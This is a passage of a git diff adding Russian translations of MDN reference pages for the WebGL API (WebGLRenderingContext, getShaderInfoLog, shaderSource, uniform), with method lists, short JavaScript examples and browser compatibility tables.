+  /* Сообщение может быть ошибкой или предупреждением */
+  throw message;
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "getShaderInfoLog")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGetShaderInfoLog.xml", "glGetShaderInfoLog")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}} – использование с <code>gl.COMPILE_STATUS</code> для проверки ошибок компиляции.</li>
+ <li>{{domxref("WebGLRenderingContext.getError()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html
new file mode 100644
index 0000000000..338784a8a1
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/index.html
@@ -0,0 +1,441 @@
+---
+title: WebGLRenderingContext
+slug: Web/API/WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Интерфейс <strong>WebGLRenderingContext </strong>обеспечивает доступ к контексту рендеринга OpenGL ES 2.0 (<strong>OpenGL</strong> for <strong>E</strong>mbedded <strong>S</strong>ystems — OpenGL для встраиваемых систем) для использования его с помощью  HTML {{HTMLElement("canvas")}} элемента.</p>
+
+<p>Чтобы получить объект с помощью этого интерфейса вызовите метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} элемена  &lt;canvas&gt; , используя "webgl" в качестве аргумента.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+</pre>
+
+<p>После того, как вы  получили  WebGL контекст, вы можете его использовать для рендеринга.</p>
+
+<p> <a href="/en-US/docs/Web/API/WebGL_API/Tutorial" title="WebGL tutorial">WebGL tutorial</a> содержит больше информации, примеров, ссылок на ресурсы которые помогут  начать использовать  WebGL.</p>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Смотрите на <a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a>.</p>
+
+<h2 id="WebGL_контекст"> WebGL контекст</h2>
+
+<p>Ниже перечислены свойства и методы которые дают общую информацию и функциональность при работе с WebGL контекстом:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.canvas")}}</dt>
+ <dd> Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может быть  {{jsxref("null")}} если будет применятся в контексте элемента иного типа чем  {{HTMLElement("canvas")}}.</dd>
+ <dt>{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Вставляет окна в первоначальный {{domxref("HTMLCanvasElement")}} , если контекст не привязан к конкретному холсту.</p>
+ </dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferWidth")}}</dt>
+ <dd>Доступная только для чтения ширина текущего буфера отрисовки. Должна совпадать с шириной холста связанного с данным  контекстом.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawingBufferHeight")}}</dt>
+ <dd>Доступная только для чтения высота текущего буфера отрисовки. Должна совпадать с высотой холста связанного с данным  контекстом.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getContextAttributes()")}}</dt>
+ <dd>Возвращает <code>WebGLContextAttributes объект который содержит атрибуты текущего контекста. Может возвращать </code>{{jsxref("null")}} если контекст утерян.<code> </code></dd>
+ <dt>{{domxref("WebGLRenderingContext.isContextLost()")}}</dt>
+ <dd>Возвращает <code>true</code> если контекст утерян, в противном случае возвращает <code>false</code>.</dd>
+</dl>
+
+<h2 id="Просмотр_и_обрезка">Просмотр и обрезка</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.scissor()")}}</dt>
+ <dd>Устанавливает обрезанный контейнер.</dd>
+ <dt>{{domxref("WebGLRenderingContext.viewport()")}}</dt>
+ <dd>Устанавливает окно просмотра.</dd>
+</dl>
+
+<h2 id="Информация_о_состоянии">Информация о состоянии</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.activeTexture()")}}</dt>
+ <dd>Выбирает активную текстуру.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendColor()")}}</dt>
+ <dd>Устанавливает параметры смешивания источника и назначения</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendEquation()")}}</dt>
+ <dd> Уравнение смешивания RGB и уравнение альфа-смешивания сводит к одному  уравнению.</dd>
+</dl>
+
+<p><strong>{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}</strong> </p>
+
+<p>Устанавливает уравнение смешивания RGB и уравнение alpha  смешивания  отдельно.</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.blendFunc()")}}</dt>
+ <dd>Определяет, какая арифметическая функция используется для смешивания пикселей.</dd>
+ <dt>{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}</dt>
+ <dd>Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearColor()")}}</dt>
+ <dd>Задает значения цвета, используемые при очистке цветовых буферов.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearDepth()")}}</dt>
+ <dd>Задает значение глубины, используемый при очистке буфера глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.clearStencil()")}}</dt>
+ <dd>Задает значение шаблона, используемый при очистке буфера шаблона.</dd>
+ <dt>{{domxref("WebGLRenderingContext.colorMask()")}}</dt>
+ <dd>Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.</dd>
+ <dt>{{domxref("WebGLRenderingContext.cullFace()")}}</dt>
+ <dd>Определяет, будет видима или нет передняя- и / или обратная сторона многоугольника.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthFunc()")}}</dt>
+ <dd>Определяет функцию, которая сравнивает входящую глубину пикселей к текущему значению глубины буфера.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthMask()")}}</dt>
+ <dd>Включает или выключает запись в буфер глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.depthRange()")}}</dt>
+ <dd>Определяет диапазон отображения глубины согласно стандартных координат  к координатам окна устройства.</dd>
+ <dt>{{domxref("WebGLRenderingContext.disable()")}}</dt>
+ <dd>Отключает конкретные возможности WebGL.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enable()")}}</dt>
+ <dd>Включает конкретные возможности WebGL.</dd>
+ <dt>{{domxref("WebGLRenderingContext.frontFace()")}}</dt>
+ <dd>Определяет видимость  передней или задней стороны  многоугольника, при его вращении.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getParameter()")}}</dt>
+ <dd>Возвращает значение переданного параметра по имени.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getError()")}}</dt>
+ <dd>Возвращает информацию об ошибках.</dd>
+ <dt>{{domxref("WebGLRenderingContext.hint()")}}</dt>
+ <dd>Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isEnabled()")}}</dt>
+ <dd>Проверяет,  включена или нет конкретная способность WebG.</dd>
+ <dt>{{domxref("WebGLRenderingContext.lineWidth()")}}</dt>
+ <dd>Устанавливает ширину  растровой линии.</dd>
+ <dt>{{domxref("WebGLRenderingContext.pixelStorei()")}}</dt>
+ <dd>Определяет режимы хранилища пикселей</dd>
+ <dt>{{domxref("WebGLRenderingContext.polygonOffset()")}}</dt>
+ <dd>Определяет факторы масштабирования  и единицы для расчета значения глубины.</dd>
+ <dt>{{domxref("WebGLRenderingContext.sampleCoverage()")}}</dt>
+ <dd>Определяет составные параметры  для сглаживания эффектов.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFunc()")}}</dt>
+ <dd>Sets the both front and back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}</dt>
+ <dd>Sets the front and/or back function and reference value for stencil testing.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMask()")}}</dt>
+ <dd>Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}</dt>
+ <dd>Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOp()")}}</dt>
+ <dd>Sets both the front and back-facing stencil test actions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}</dt>
+ <dd>Sets the front and/or back-facing stencil test actions.</dd>
+</dl>
+
+<h2 id="Buffers">Buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindBuffer()")}}</dt>
+ <dd>Binds a <code>WebGLBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferData()")}}</dt>
+ <dd>Updates buffer data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bufferSubData()")}}</dt>
+ <dd>Updates buffer data starting at a passed offset.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createBuffer()")}}</dt>
+ <dd>Creates a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getBufferParameter()")}}</dt>
+ <dd>Returns information about the buffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isBuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed buffer is valid.</dd>
+</dl>
+
+<h2 id="Framebuffers">Framebuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</dt>
+ <dd>Binds a <code>WebGLFrameBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}</dt>
+ <dd>Returns the status of the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</dt>
+ <dd>Creates a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}</dt>
+ <dd>Attaches a <code>WebGLRenderingBuffer</code> object to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}</dt>
+ <dd>Attaches a textures image to a <code>WebGLFrameBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}</dt>
+ <dd>Returns information about the framebuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLFrameBuffer</code> object is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.readPixels()")}}</dt>
+ <dd>Reads a block of pixels from the <code>WebGLFrameBuffer</code>.</dd>
+</dl>
+
+<h2 id="Renderbuffers">Renderbuffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}</dt>
+ <dd>Binds a <code>WebGLRenderBuffer</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createRenderbuffer()")}}</dt>
+ <dd>Creates a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}</dt>
+ <dd>Deletes a <code>WebGLRenderBuffer</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}</dt>
+ <dd>Returns information about the renderbuffer.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isRenderbuffer()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLRenderingBuffer</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.renderbufferStorage()")}}</dt>
+ <dd>Creates a renderbuffer data store.</dd>
+</dl>
+
+<h2 id="Textures">Textures</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.bindTexture()")}}</dt>
+ <dd>Binds a <code>WebGLTexture</code> object to a given target.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</dt>
+ <dd>Specifies a 2D texture sub-image in a compressed format.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</dt>
+ <dd>Copies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}</dt>
+ <dd>Copies a 2D texture sub-image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createTexture()")}}</dt>
+ <dd>Creates a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteTexture()")}}</dt>
+ <dd>Deletes a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.generateMipmap()")}}</dt>
+ <dd>Generates a set of mipmaps for a <code>WebGLTexture</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getTexParameter()")}}</dt>
+ <dd>Returns information about the texture.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isTexture()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLTexture</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texImage2D()")}}</dt>
+ <dd>Specifies a 2D texture image.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</dt>
+ <dd>Updates a sub-rectangle of the current <code>WebGLTexture</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+ <dt>{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}</dt>
+ <dd>Sets texture parameters.</dd>
+</dl>
+
+<h2 id="Programs_and_shaders">Programs and shaders</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.attachShader()")}}</dt>
+ <dd>Attaches a <code>WebGLShader</code> to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</dt>
+ <dd>Binds a generic vertex index to a named attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.compileShader()")}}</dt>
+ <dd>Compiles a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createProgram()")}}</dt>
+ <dd>Creates a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.createShader()")}}</dt>
+ <dd>Creates a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteProgram()")}}</dt>
+ <dd>Deletes a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.deleteShader()")}}</dt>
+ <dd>Deletes a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.detachShader()")}}</dt>
+ <dd>Detaches a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</dt>
+ <dd>Returns a list of <code>WebGLShader</code> objects attached to a <code>WebGLProgram</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</dt>
+ <dd>Returns information about the program.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</dt>
+ <dd>Returns information about the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</dt>
+ <dd>Returns a <code>WebGLShaderPrecisionFormat</code> object describing the precision for the numeric format of the shader.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</dt>
+ <dd>Returns the information log for a <code>WebGLShader</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getShaderSource()")}}</dt>
+ <dd>Returns the source code of a <code>WebGLShader</code> as a string.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isProgram()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLProgram</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.isShader()")}}</dt>
+ <dd>Returns a Boolean indicating if the passed <code>WebGLShader</code> is valid.</dd>
+ <dt>{{domxref("WebGLRenderingContext.linkProgram()")}}</dt>
+ <dd>Links the passed <code>WebGLProgram</code> object.</dd>
+ <dt>{{domxref("WebGLRenderingContext.shaderSource()")}}</dt>
+ <dd>Sets the source code in a <code>WebGLShader</code>.</dd>
+ <dt>{{domxref("WebGLRenderingContext.useProgram()")}}</dt>
+ <dd>Uses the specified <code>WebGLProgram</code> as part the current rendering state.</dd>
+ <dt>{{domxref("WebGLRenderingContext.validateProgram()")}}</dt>
+ <dd>Validates a <code>WebGLProgram</code>.</dd>
+</dl>
+
+<h2 id="Uniforms_and_attributes">Uniforms and attributes</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}</dt>
+ <dd>Disables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}</dt>
+ <dd>Enables a vertex attribute array at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveAttrib()")}}</dt>
+ <dd>Returns information about an active attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getActiveUniform()")}}</dt>
+ <dd>Returns information about an active uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getAttribLocation()")}}</dt>
+ <dd>Returns the location of an attribute variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniform()")}}</dt>
+ <dd>Returns the value of a uniform variable at a given location.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getUniformLocation()")}}</dt>
+ <dd>Returns the location of a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttrib()")}}</dt>
+ <dd>Returns information about a vertex attribute at a given position.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}</dt>
+ <dd>Returns the address of a given vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}</dt>
+ <dd>Specifies a value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}</dt>
+ <dd>Specifies a matrix value for a uniform variable.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}</dt>
+ <dd>Specifies a value for a generic vertex attribute.</dd>
+ <dt>{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}</dt>
+ <dd>Specifies the data formats and locations of vertex attributes in a vertex attributes array.</dd>
+</dl>
+
+<h2 id="Drawing_buffers">Drawing buffers</h2>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.clear()")}}</dt>
+ <dd>Clears specified buffers to preset values.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawArrays()")}}</dt>
+ <dd>Renders primitives from array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.drawElements()")}}</dt>
+ <dd>Renders primitives from element array data.</dd>
+ <dt>{{domxref("WebGLRenderingContext.finish()")}}</dt>
+ <dd>Blocks execution until all previously called commands are finished.</dd>
+ <dt>{{domxref("WebGLRenderingContext.flush()")}}</dt>
+ <dd>Empties different buffer commands, causing all commands to be executed as quickly as possible.</dd>
+</dl>
+
+<h2 id="Working_with_extensions">Working with extensions</h2>
+
+<p>These methods manage WebGL extensions:</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}</dt>
+ <dd>Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.</dd>
+ <dt>{{domxref("WebGLRenderingContext.getExtension()")}}</dt>
+ <dd>Returns an extension object.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="WebGL_context_feature_detection">WebGL context feature detection</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}</p>
+
+<h3 id="Effect_of_canvas_size_on_rendering_with_WebGL">Effect of canvas size on rendering with WebGL</h3>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}</p>
+
+<p>{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}</p>
+
+<p>{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("9")}}</td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>25</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12</td>
+   <td>8.0</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
new file mode 100644
index 0000000000..86ac976ab8
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html
@@ -0,0 +1,70 @@
+---
+title: WebGLRenderingContext.shaderSource()
+slug: Web/API/WebGLRenderingContext/shaderSource
+translation_of: Web/API/WebGLRenderingContext/shaderSource
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.shaderSource()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> записывает исходный код шейдера в шейдерную программу {{domxref("WebGLShader")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.shaderSource(<var>shader</var>, <var>source</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>shader</dt>
+ <dd>A {{domxref("WebGLShader")}} объект в который записывается исходный код.</dd>
+ <dt>source</dt>
+ <dd>A {{domxref("DOMString")}} исходный код шейдера на GLSL который будет записан.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, originalSource);
+
+var source = gl.getShaderSource(shader);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "shaderSource")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glShaderSource.xml", "glShaderSource")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the (similar) OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.shaderSource")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html
new file mode 100644
index 0000000000..010da6fc8e
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html
@@ -0,0 +1,99 @@
+---
+title: 'WebGLRenderingContext.uniform[1234][fi][v]()'
+slug: Web/API/WebGLRenderingContext/uniform
+translation_of: Web/API/WebGLRenderingContext/uniform
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.uniform[1234][fi][v]()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> устонавливает значение для постоянных переменных Uniform.</p>
+
+<div class="note">
+<p>Иногие из описаных в этом разделе функцию имеют расширенные интерфейсы WebGL 2, которые можно найти {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>gl.uniform1f (floatUniformLoc, v); // для float
+gl.uniform1fv(floatUniformLoc, [v]); // для float или массива float
+gl.uniform2f (vec2UniformLoc, v0, v1); // для vec2
+gl.uniform2fv(vec2UniformLoc, [v0, v1]); // для vec2 или массива vec2
+gl.uniform3f (vec3UniformLoc, v0, v1, v2); // для vec3
+gl.uniform3fv(vec3UniformLoc, [v0, v1, v2]); // для vec3 или массива vec3
+gl.uniform4f (vec4UniformLoc, v0, v1, v2, v4); // для vec4
+gl.uniform4fv(vec4UniformLoc, [v0, v1, v2, v4]); // для vec4 или массива vec4
+
+gl.uniform1i (intUniformLoc, v); // для int
+gl.uniform1iv(intUniformLoc, [v]); // для int или массива int
+gl.uniform2i (ivec2UniformLoc, v0, v1); // для ivec2
+gl.uniform2iv(ivec2UniformLoc, [v0, v1]); // для ivec2 или массива ivec2
+gl.uniform3i (ivec3UniformLoc, v0, v1, v2); // для ivec3
+gl.uniform3iv(ivec3UniformLoc, [v0, v1, v2]); // для ivec3 или массива ivec3
+gl.uniform4i (ivec4UniformLoc, v0, v1, v2, v4); // для ivec4
+gl.uniform4iv(ivec4UniformLoc, [v0, v1, v2, v4]); // для ivec4 или массива ivec4
+
+
